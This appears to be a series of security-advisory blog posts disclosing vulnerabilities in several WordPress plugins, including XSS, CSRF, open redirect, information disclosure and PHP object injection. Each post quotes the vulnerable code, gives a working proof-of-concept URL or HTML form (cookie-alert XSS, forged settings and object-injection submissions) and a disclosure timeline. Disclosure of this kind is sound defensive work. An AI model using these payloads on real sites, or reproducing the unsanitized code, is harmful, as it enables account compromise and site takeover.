23 Jan

Open Redirect Vulnerability in moreAds SE

We have recently been increasing the amount of new vulnerabilities we include our data through better monitoring of changes made to plugins, so that in more cases where there hasn’t been a report released on the vulnerability we can still include the vulnerability. Combined with that we have increased the number of post we have put out detailing those vulnerabilities. Seeing as we often find that vulnerabilities have been only partially fixed or not fixed at all, that also is likely to mean we will find more vulnerabilities that haven’t been fixed, despite an attempt to do so.

That was the case when we looked in to a reflected cross-site scripting vulnerability in the plugin moreAds SE. First we noticed that the vulnerability had not been fixed, but then we noticed that there was another vulnerability in the same code.

In version 1.4.8 of the plugin, the file /lib/Ads/html/bypass_stage_2.php takes a user specified value and places it in a JavaScript code that redirects to another location:

<script type="text/javascript">
 window.top.location = "<?php echo isset($_GET['i']) ? str_replace('"', '', $_GET['i']) : ''; ?>";
</script>

Since there is no restriction placed on what the value can be (other than removing any double quotes), you could cause a request sent through this to redirect to any web address, which is an open redirect.

After we notified the developer of the issue they released version 1.4.9, which fixes the issue by requiring an additional unique value generated by the plugin to be provided with the requests that cause a redirect to happen:

<?php
 $current_url = $_SERVER['REQUEST_SCHEME'] . '://' . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
 $is_valid = MASE_UrlSigning::verifySignedUrl($current_url, MASE::$URLSIGNING_KEY);
 $url = $is_valid ? $_GET['i'] : '/';
?>

window.top.location = "<?php echo esc_url($url); ?>";

Proof of Concept

The following proof of concept will cause you to come to our homepage.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=mase_cst_redir&i=https://www.pluginvulnerabilities.com

Timeline

  • January 20, 2017: Notified developer.
  • January 23, 2017: Version 1.4.9 released, which fixes vulnerability.
17 Jan

Reflected Cross-Site Scripting (XSS) Vulnerability in WangGuard

We recently introduced a new feature where we do security reviews of plugins that are selected by our customers. The first review was of WangGuard. The most serious issue we found in that reviews is a reflected cross-site scripting (XSS) vulnerability.

In the file /wangguard-user-info.php the value of the GET input “userIP” is set as the value of the variable $userIP without any sanitization:

11
$userIP = $_GET["userIP"];

That value is then printed without it being escaped:

33
printf( __('User IP: %s <br />'), $userIP);

Proof of Concept

The following proof of concept will cause any available cookies to shown in alert box. Major web browsers other than Firefox provide XSS filtering so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=wangguard_users_info&userIP=<script>alert(document.cookie);</script>

Timeline

  • January 2, 2017 – Developer notified.
  • January 17, 2017 – WordPress.org Plugin Directory notified.
  • January 18, 2017 – Version 1.7.3 released, which fixes vulnerability.
12 Jan

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in Chained Quiz

When adding a vulnerability to our data set we actually look in to it to confirm that a vulnerability actual existed, what versions of the plugin had the vulnerability, and that it has been fully fixed. Recently while looking over changes made in version 0.9.9 of the plugin Chained Quiz, which was listed as having “Fixed various XSS issues”, we noticed that one of the cross-site scripting (XSS) issues was only partially resolved.

Several of the changes made sanitized title fields for various pieces of the plugin’s quizzes. By default only Administrator-level user have access to the pages with those fields and for those users it wouldn’t have really been a vulnerability for the fields to not be sanitized since that level of user normally have the unfiltered_html capability, which allows them to do the equivalent of cross-site scripting. The plugin does provides the option to make those pages as well as the Social Sharing page accessible to lower level users, which would not have that capability, which would make this a vulnerability.

In looking over the relevant files what we noticed was that the rest of the text input is not being sanitized, so the vulnerability still exists on those pages.

An example of that is when creating a new question, you can see that in version 0.9.9 the value “$vars[‘title’]” is sanitized but the other text inputs “$vars[‘question’]” and “$vars[‘qtype’]” are not (the database field for “$vars[‘qtype’]” is limited to 20 characters making it difficult to use it for malicious code) :

25
26
27
28
29
$vars['title'] = sanitize_text_field($vars['title']);
 
$result = $wpdb->query($wpdb->prepare("UPDATE ".CHAINED_QUESTIONS." SET
	question=%s, qtype=%s, title=%s, autocontinue=%d WHERE id=%d", 
	$vars['question'], $vars['qtype'], $vars['title'], @$vars['autocontinue'], $id));

The text inputs on Social Sharing page are also not sanitized or escaped.

We contacted the developer about the issue and seeing as they had just fixed part of the issue and another related vulnerability, we figured they would be receptive (that is usually the case in this type of situation). Instead we got a very different response. It began:

The contents of the questions should not be filtered: it has to allow HTML and scripts if the site managers want to use them.
All these issues are “Self-XSS” that we are not interested to hear about: no one has any interest to hack their own site or give management access to people they don’t trust.

As far as we can tell self-XSS actually refers to a social engineering attack, not a vulnerability, which these are.

In our reply to that we explained that unless users have the unfiltered_html capability they are not allowed to use unfiltered HTML, so they needed to make sure users without the capability had their input sanitized. We haven’t gotten any response in the week since we sent that reply and the vulnerability hasn’t been resolved.

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=chainedquiz_social_sharing, when logged in to WordPress with an account that has access to the page.

  1. As an Administrator access /wp-admin/admin.php?page=chainedquiz_options and set it so that Subscribers can manage quizzes.
  2. Log in as a Subscriber.
  3. Visit /wp-admin/admin.php?page=chainedquiz_social_sharing.
  4. In the “Your Facebook App ID” field enter ‘”><script>alert(document.cookie);</script>’ (without the single quotes around it).
  5. Click “Save All Settings”.

Timeline

  • January 4, 2017 – Developer notified.
  • January 5, 2017 – Developer responds.
  • January 12, 2017 – WordPress.org Plugin Directory notified.
  • January 12, 2017 – Removed from WordPress.org Plugin Directory.
  • January 12, 2017 – Version 1.0 submitted to WordPress.org Plugin Directory, which fixes issue.
02 Jan

Information Disclosure Vulnerability in Pike Firewall

In our testing of WordPress security plugins to see what, if any, protection they provide against the exploitation of actual vulnerabilities in other plugins the results haven’t been good so far. Most of the plugins tested haven’t provided any protection against those vulnerabilities. That hasn’t really surprised us, as much of what these plugins do doesn’t have any impact on what hackers actually try to do. One example is that many of these plugins check if you have change the database prefix to something other than the default “wp_”, but knowing the database prefix is rarely needed for vulnerabilities we see being exploited. If knowing the database prefix was a big deal then the vulnerability we recently found in a security plugin would be a big deal, as the vulnerability exposes that.

While doing a few quick security checks over the plugin Pike Firewall we noticed that it has the capability to log login attempts. We and others have found that capability in plugins has introduced security vulnerabilities into plugins due to improper handling of user input that comes through that. One of things that has been an issue with other plugins is that malicious JavaScript code placed in the HTTP header field X-Forwarded-For will get displayed on the plugin’s pages unsanitized or unescaped leading to cross-site scripting (XSS). In this case we found it caused another issue when tried logging in with it set to malicious code we got this error:

WordPress database error: []
SHOW FULL COLUMNS FROM `wp_pike_firewall_login`

The database prefix is being shown in that error message.

In looking at the underling code the cause of this is (in the file /pikefirewall.php):

2756
2757
2758
2759
if ( !$wpdb-&gt;insert($pike_tables['login'], array('username' =&gt; $username, 'user_address' =&gt; $pike_ip, 'user_agent' =&gt; $pike_agent, 'type' =&gt; $type, 'success' =&gt; $success), array('%s', '%s', '%s'))) {
	$wpdb-&gt;show_errors();
	wp_die($wpdb-&gt;print_error());
}

You can see that error reporting is enabled and if there is an error it gets printed, which shouldn’t be happening in a non-development environment since as our example shows it is disclosing non-public information.

We contacted the developer about the issue on December 19, but we have not heard back from them and the vulnerability has not been fixed.

Proof of Concept

With login attempt logging turned on, set the X-Forwarded-For HTTP header to

<script>alert(document.cookie);</script>

and attempt to log in to WordPress (the username/password doesn’t matter).

Timeline

  • December 19, 2016 – Developer notified.
19 Dec

Cross-Site Request Forgery (CSRF)/Database Update Vulnerability in ZX_CSV Upload

We try to include as many plugin vulnerabilities in our data as possible, which involves us looking at reports of vulnerabilities even when almost no one is using them. That includes looking into a report of an authenticated SQL injection vulnerability in ZX_CSV Upload, which is a plugin with less than 10 active installs according to wordpress.org. According to the report you would need to be logged in as an Administrator to exploit this, which generally would rule something out as vulnerability, since administrator would normally have the ability change the database through the capabilities they have (they also would normally be able to modify a plugin to remove any security restrictions), unless you can use cross-site request forgery (CSRF) to cause a logged in administrator to take an action they don’t intend, there wouldn’t be a vulnerability.

When we went to see we could figure out how if that would be possible in this situation we noticed an easier to spot issue. The main functionality of the plugin is to allow you to update database data from an uploaded CSV file. This capability lacks protection against cross-site request forgery so you could cause a logged in Administrators to change information in the database, say add a new Administrator level users to wp_users table. You would need to know what the prefix for the database is, so changing that would actually come in to play with a vulnerability (which it rarely does despite the big deal made about changing it in various security plugins and tutorials).

Proof of Concept

The following proof of concept will cause the selected CSV file to be submitted and the relevant table updated, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[database table]” with the table you want updated.

<html>
<body>
<form method="POST" action="http://[path to WordPress]/wp-admin/admin.php?page=upload_new" enctype="multipart/form-data">
<input type="hidden" name="table_select" value="[database table]">
<input type="file" name="uploaded">
<input type="submit" name="update_db">
</form>
</body>
</html>

Timeline

  • December 19, 2016 – WordPress.org Plugin Directory notified.
  • December 19, 2016 – Plugin removed from WordPress.org Plugin Directory.
15 Dec

Authenticated Information Disclosure Vulnerability in Backup & Restore Dropbox

Last Friday we had a pair of requests on one of our websites for a file from the plugin Backup & Restore Dropbox, /wp-content/plugins/dropbox-backup/template/css/tool-bar.css. Seeing as we never have had that plugin installed, that request would be likely a hacker probing for usage of the plugin. We could not find any previously disclosed vulnerabilities, so if there is a vulnerability that could exploited it looks to have not been previously disclosed.

While doing some basic checks through the code we found one fairly obvious issue, all of the plugin’s AJAX accessible functions lack a couple of standard security checks. More seriously they lacked any check on the what level of user was accessing them. When functions are registered through WordPress’ AJAX functionality they are normally accessible to anyone logged in to WordPress (there is also the option to make the available to those not logged in). Seeing as the plugin’s admin page is only accessible to Administrator level users, those AJAX functions should also limited as well. Without that quite a bit is accesible to lower level users. Most of the relevant functions are registered in the file /main/wpadm-class-wp.php:

 add_action('wp_ajax_wpadm_local_restore', array('wpadm_wp_full_backup_dropbox', 'restore_backup') );
 add_action('wp_ajax_wpadm_restore_dropbox', array('wpadm_wp_full_backup_dropbox', 'wpadm_restore_dropbox') );
 add_action('wp_ajax_wpadm_logs', array('wpadm_wp_full_backup_dropbox', 'getLog') );
 add_action('wp_ajax_wpadm_local_backup', array('wpadm_wp_full_backup_dropbox', 'local_backup') );
 add_action('wp_ajax_wpadm_dropbox_create', array('wpadm_wp_full_backup_dropbox', 'dropbox_backup_create') );
 add_action('wp_ajax_set_user_mail', array('wpadm_wp_full_backup_dropbox', 'setUserMail') );

 add_action('wp_ajax_saveSetting', array('wpadm_wp_full_backup_dropbox', 'saveSetting') );

Based on that, a lower level user can create and restore backups, they also have the ability to view the logging from the plugin through the getLog() function. One of the things that function will show is were local backups are stored, but those backups are protected with .htaccess files, so unless the website is hosted on server that doesn’t use those (IIS and nginx being two prominent ones that don’t) you can’t access them directly.

Those functions also lack protection against cross-site request forgery (CSRF).

We would later find that the plugin has a PHP object injection vulnerability, which in all likelihood is what hackers are targeting.

Proof of Concept

The following proof of concept will display logged details of on local backups created through the plugin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wpadm_logs" />
<input type="hidden" name="type-backup" value="local_backup" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 9, 2016 – Developer notified.
  • December 15, 2016 – WordPress.org Plugin Directory notified.
  • December 15, 2016 – Plugin removed from Plugin Directory.
  • December 16, 2016 – Version 1.4.8, which fixes vulnerability, submitted to Plugin Directory repository.
15 Dec

PHP Object Injection Vulnerability in Backup & Restore Dropbox

Last Friday we had a pair of requests on one of our websites for a file from the plugin Backup & Restore Dropbox, /wp-content/plugins/dropbox-backup/template/css/tool-bar.css. Seeing as we never have had that plugin installed, that request would be likely a hacker probing for usage of the plugin. We quickly found an issue with the plugin’s handling of functions made available through WordPress’ AJAX functionality and notified the developer of the plugin of that issue and that that it looked like hackers were targeting the plugin.

We haven’t heard back from them, but in the meantime we had what look to be probing for usage of one of their other plugins, Stats Counter. In looking over that we quickly found a PHP object injection vulnerability and realized that the same issue was probably what hacker was targeting in this plugin. The vulnerability in this plugin involves substantially similar code, but lets go through it anyway.

In the file /dropbox-backup.php the function wpadm_full_backup_dropbox_run() gets registered to run during init (so it runs whenever WordPress loads):

18
add_action('init', 'wpadm_full_backup_dropbox_run');

That function then causes the function wpadm_run() to run:

25
26
27
28
function wpadm_full_backup_dropbox_run()
{
	wpadm_run('dropbox-backup', dirname(__FILE__));
}

When that function runs, if there is a POST input “dropbox-backup_request” included with the request to the website it will pass it to the function wpadm_unpack() (in the file /functions/wpadm.php):

8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function  wpadm_run($pl, $dir) {
 
	require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-method-class.php';
	$request_name =  $pl . '_request';
	if( isset( $_POST[$request_name] ) ** ! empty ( $_POST[$request_name] ) ) {
		require_once DRBBACKUP_BASE_DIR . '/modules/class-wpadm-core.php';
		WPAdm_Core::$cron = false;
		$user_ip = wpadm_getIp();
		if ($_SERVER['SERVER_ADDR'] != $user_ip && $_SERVER['HTTP_USER_AGENT'] != 'dropbox-backup user-agent') {
			WPAdm_Running::init_params_default(false);
		}
		$params = wpadm_unpack($_POST[$request_name]);
		if ( isset($params['type']) ) {
			 wpadm_class::$type = $params['type']; 
		}
		$wpadm = new WPAdm_Core($params, $pl, $dir);
		echo '' . wpadm_pack($wpadm->;getResult()->;toArray()) . '';
		exit;
	}
}

That in turns causes the POST input “dropbox-backup_request” to be run through the function unserialize,which allows the possibility of PHP object injection to occur:

36
37
38
function wpadm_unpack( $str ) {
	return unserialize( base64_decode( $str ) );
}

Proof of Concept

The following proof of concept will cause the specified object to be injected.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Object to be Injected]” with the object to be injected (must be base64 encoded).

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="dropbox-backup_request" value="[Object to be Injected]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 19, 2016 – Contacted plugin’s developer about authenticated information disclosure vulnerability.
  • December 15, 2016 – Notified wordpress.org Plugin Directory of vulnerability.
  • December 15, 2016 – Added vulnerability to free data in the service’s companion plugin.
  • December 15, 2016 – Plugin removed from Plugin Directory.
  • December 16, 2016 – Version 1.4.8, which fixes vulnerability, submitted to Plugin Directory repository.
15 Dec

PHP Object Injection Vulnerability in Stats Counter

Today on one of our websites we had a request for a file from the plugin Stats Counter, /wp-content/plugins/stats-counter/template/css/counter_style.css. Seeing as we have never had that plugin installed, that type of request would usually be an indication that a hacker is probing for usage of the plugin. When we went to start investigating what might be the vulnerability that a hacker would be interested in targeting in that we first noticed that the plugin had been removed from the Plugin Directory. That could be an indication that someone reported a vulnerability in the current version of the plugin to the Plugin Directory or it could have been removed for some other reason, unfortunately the Plugin Directory doesn’t explain why something has been removed. The second thing we noticed was that the plugin was from the developer of the Backup & Restore Dropbox plugin, which we noticed apparent hacker probing for on Friday and we had notified them of one security issue shortly afterwords (we have yet to hear back from them and the vulnerability has not been fixed).

We then started looking over the Stats Counter plugin and found a vulnerability hackers might be interested in targeting, something that also exist Backup & Restore Dropbox plugin, but that we had not properly identified as being the likely vulnerability being targeted in that plugin up until now.

In the file /stats_counter.php, the function wpadm_stat_run() gets registered to run during init (so it runs whenever WordPress loads):
16
add_action('init', 'wpadm_stat_run');

That function then causes the function wpadm_run() to run:

48
49
50
51
52
function wpadm_stat_run()
{
	require_once dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wpadm.php';
	wpadm_run('stat', dirname(__FILE__));
}

When that function runs, if there is a POST input “wpadm_stat_request” included with the request to the website it will pass it to the function wpadm_unpack() (in the file /wpadm.php):

8
9
10
11
12
13
14
15
16
17
18
function  wpadm_run($pl, $dir) {
	@set_time_limit(0);
	require_once dirname(__FILE__) . '/class-wpadm-method-class.php';
	$request_name = 'wpadm_'.$pl.'_request';
	if( isset( $_POST[$request_name] ) &amp;&amp; ! empty ( $_POST[$request_name] ) ) {
		require_once dirname(__FILE__) . '/class-wpadm-core.php';
		$wpadm = new WPAdm_Core(wpadm_unpack($_POST[$request_name]), $pl, $dir);
		echo ''.wpadm_pack($wpadm-&gt;getResult()-&gt;toArray()).'';
		exit;
	}
}

That in turns causes the POST input “wpadm_stat_request” to be run through the function unserialize, which allows the possibility of PHP object injection to occur:

27
28
29
function wpadm_unpack( $str ) {
	return unserialize( base64_decode( $str ) );
}

Proof of Concept

The following proof of concept will cause the specified object to be injected.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Object to be Injected]” with the object to be injected (must be base64 encoded).

<html>
<body>
<form action="http://[path to WordPress]" method="POST">
<input type="hidden" name="wpadm_stat_request" value="[Object to be Injected]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 15, 2016 – Added vulnerability to free data in the service’s companion plugin.
12 Dec

Authenticated Persistent Cross-Site Scripting (XSS) Vulnerability in wpDataTables Lite

One of things we do to keep track of what vulnerabilities are out there in WordPress plugins, to provide our customers with the best data on them, is to monitor our websites for hacking attempts. In September we had request that looked like probing for usage of the plugin wpDataTables Lite, through a request for /wp-content/plugins/wpdatatables/Licensing/GPL.txt. Though when we went to look into this we noticed the plugin hasn’t have a file at that location, so it would seem to have been a request checking for something else. It looks like the hacker was a probably probing for usage of a page paid version of the same plugin, which had contained an arbitrary file upload vulnerability in the past. That vulnerability was due to an upload function be accessible to anyone (even if not logged in) through WordPress’ AJAX functionality. Once we saw that we took a quick look at the wpDataTables Lite to see if there were any issue along those lines and found that there is an authenticated persistent cross (XSS) vulnerability in the plugin as of version 1.1.

In the plugin no function are made accessible  for those that are not logged in, but there are 9 that are accessible to those logged in to WordPress. Since that makes them accessible to anyone who is logged in, if the functions are intended to only accessible to higher level users there needs to be code in the function to restrict access.

On of those AJAX accessible functions handles saving the plugins settings (in the file /controllers/wdt_admin_ajax_actions.php):

105
add_action( 'wp_ajax_wdt_save_settings', 'wdt_save_settings');

The settings page is only accessible by Administrator level users, but the wdt_save_settings() function doesn’t restrict it to them:

51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
function wdt_save_settings(){
 
	$_POST = apply_filters( 'wpdatatables_before_save_settings', $_POST );
 
	// Get and write main settings
	$wdtSiteLink = $_POST['wdtSiteLink'];
 
	$wpRenderFilter = $_POST['wpRenderFilter'];
	$wpInterfaceLanguage = $_POST['wpInterfaceLanguage'];
	$wpDateFormat = $_POST['wpDateFormat'];
	$wpTopOffset = $_POST['wpTopOffset'];
	$wpLeftOffset = $_POST['wpLeftOffset'];
	$wdtBaseSkin = $_POST['wdtBaseSkin'];
	$wdtTablesPerPage = $_POST['wdtTablesPerPage'];
	$wdtNumberFormat = $_POST['wdtNumberFormat'];
	$wdtDecimalPlaces = $_POST['wdtDecimalPlaces'];
	$wdtNumbersAlign = $_POST['wdtNumbersAlign'];
	$wdtCustomJs = $_POST['wdtCustomJs'];
	$wdtCustomCss = $_POST['wdtCustomCss'];
	$wdtMinifiedJs = $_POST['wdtMinifiedJs'];
	$wdtMobileWidth = $_POST['wdtMobileWidth'];
	$wdtTabletWidth = $_POST['wdtTabletWidth'];
 
 
	update_option('wdtSiteLink', $wdtSiteLink);
 
	update_option('wdtRenderCharts', 'below'); // Deprecated, delete after 1.6
	update_option('wdtRenderFilter', $wpRenderFilter);
	update_option('wdtInterfaceLanguage', $wpInterfaceLanguage);
	update_option('wdtDateFormat', $wpDateFormat);
	update_option('wdtTopOffset', $wpTopOffset);
	update_option('wdtLeftOffset', $wpLeftOffset);
	update_option('wdtBaseSkin', $wdtBaseSkin);
	update_option('wdtTablesPerPage', $wdtTablesPerPage);
	update_option('wdtNumberFormat', $wdtNumberFormat);
	update_option('wdtDecimalPlaces', $wdtDecimalPlaces);
	update_option('wdtNumbersAlign', $wdtNumbersAlign);
	update_option('wdtCustomJs', $wdtCustomJs);
	update_option('wdtCustomCss', $wdtCustomCss);
	update_option('wdtMinifiedJs', $wdtMinifiedJs);
	update_option('wdtMobileWidth', $wdtMobileWidth);
	update_option('wdtTabletWidth', $wdtTabletWidth);

It also doesn’t check for a valid nonce, so saving the settings is also vulnerable to cross-site request forgery (CSRF).

You can also see that no sanitization is done before saving the settings opening up the possibility of cross-site scripting (XSS) if the escaping is not done when they are output.

On the settings page the setting’s values are not escaped. Using the value for wdtCustomJs as an example, it retrieved from the database here (in the file /controllers/wdt_admin.php):

728
$tpl->addData('wdtCustomJs', get_option('wdtCustomJs'));

Then output in the file /templates/settings.inc.php:

<textarea name="wdtCustomJs" id="wdtCustomJs" style="width: 430px; height: 200px;"><?php echo (!empty($wdtCustomJs) ? stripslashes($wdtCustomJs) : '') ?></textarea><br/>

That value is also output on frontend pages that include tables from the plugin and is not escaped there either. That happens through the function wdt_render_script_style_block() in the file /controllers/wdt_functions.php:

404
405
406
407
408
409
410
411
412
413
414
415
416
function wdt_render_script_style_block(){
 
	$customJs = get_option('wdtCustomJs');
	$script_block_html = '';
	$style_block_html = '';
 
	if($customJs){
		 $script_block_html .= '<script type="text/javascript">'.stripslashes_deep($customJs).'</script>';
	}
	echo $script_block_html;
 
 
}

We notified the developer of the issue on September 8 and they responded the same day that they would fix it with the next release. Three months later a new version was put out, but it doesn’t contain anything that looks like an attempt to fix the issue.

Proof of Concept

The following proof of concept will cause an alert that says “XSS” to be shown on the website’s frontend pages that include tables from the plugin.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wdt_save_settings" />
<input type="hidden" name="wdtCustomJs" value='alert("XSS");' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 9/8/2016 – Developer notified.
  • 9/8/2016 –  Developer responds.
  • 12/12/2016 – WordPress.org Plugin Directory notified.
  • 12/12/2016 – Plugin removed from WordPress.org Plugin Directory.
  • 12/13/2016 – Version 1.2.2, which fixes vulnerability, submitted to Plugin Directories’ repository.
09 Dec

Cross-Site Request Forgery (CSRF)/Cross-Site Scripting (XSS) Vulnerability in Twitter Cards Meta

We recently found that the Twitter Cards Meta contains a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability on the plugin’s setting pages,/wp-admin/admin.php?page=twitter-cards-meta.

The CSRF potion of the vulnerability was due to a lack of a nonce on the page and a lack of a check for a valid one when processing a request to change the plugin’s settings.

For the XSS issue, in the file /twcm-options.php starting at line 28 in version 2.4.5 settings are saved and there is no sanitization done:

28
29
30
31
32
33
34
35
36
37
38
39
40
if(isset($_POST['save_options']))
{
	$options=array(
			'site_twitter_username'=>trim($_POST['site_twitter_username']),
			'use_authors_twitter_account'=>isset($_POST['use_authors_twitter_account']) ? intval($_POST['use_authors_twitter_account']) : '', 
			'use_image_from'=>$_POST['use_image_from'], 
			'image_custom_field'=>trim($_POST['image_custom_field']),
			'default_image'=>(trim($_POST['default_image'])=='Link to Default Image')? '' : trim($_POST['default_image']),
			'home_page_description'=>(trim($_POST['home_page_description'])=='Enter a description for home page, keep it under 200 characters')? '' : wp_filter_nohtml_kses(trim($_POST['home_page_description'])),  #wp_filter_nohtml_kses is smililar with strip_tags() function
			'default_card_type'=>$_POST['default_card_type'], 
			'use_default_card_type_sitewide'=>isset($_POST['use_default_card_type_sitewide']) ? $_POST['use_default_card_type_sitewide'] : ''
 
	);

When the values are outputted on the page through the same file they were not escaped. For example, the value for “site_twitter_username” was set on line 68:

<tr><td  align="left" width="200">Site's Main Twitter Account:</td><td>@<input type="text" name="site_twitter_username" value="<?php echo ($twcm_options['site_twitter_username'])? $twcm_options['site_twitter_username'] :'WPDevTeam';?>" size="20"  onblur="javascript: if(this.value=='') {this.value='WPDevTeam';}" onclick="javascript: if(this.value=='WPDevTeam') {this.value='';}"  /></td></tr>

Proof of Concept

The following proof of concept will cause an alert box with any accessible cookies to be shown on the page /wp-admin/admin.php?page=twitter-cards-meta, when submitted as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=twitter-cards-meta" method="POST">
<input type="hidden" name="save_options" value="Save Options" />
<input type="hidden" name="site_twitter_username" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • December 2, 2016 – Developer notified.
  • December 9, 2016 – WordPress.org Plugin Directory Notified.
  • December 9, 2016 – Plugin removed from WordPress.org Plugin Directory.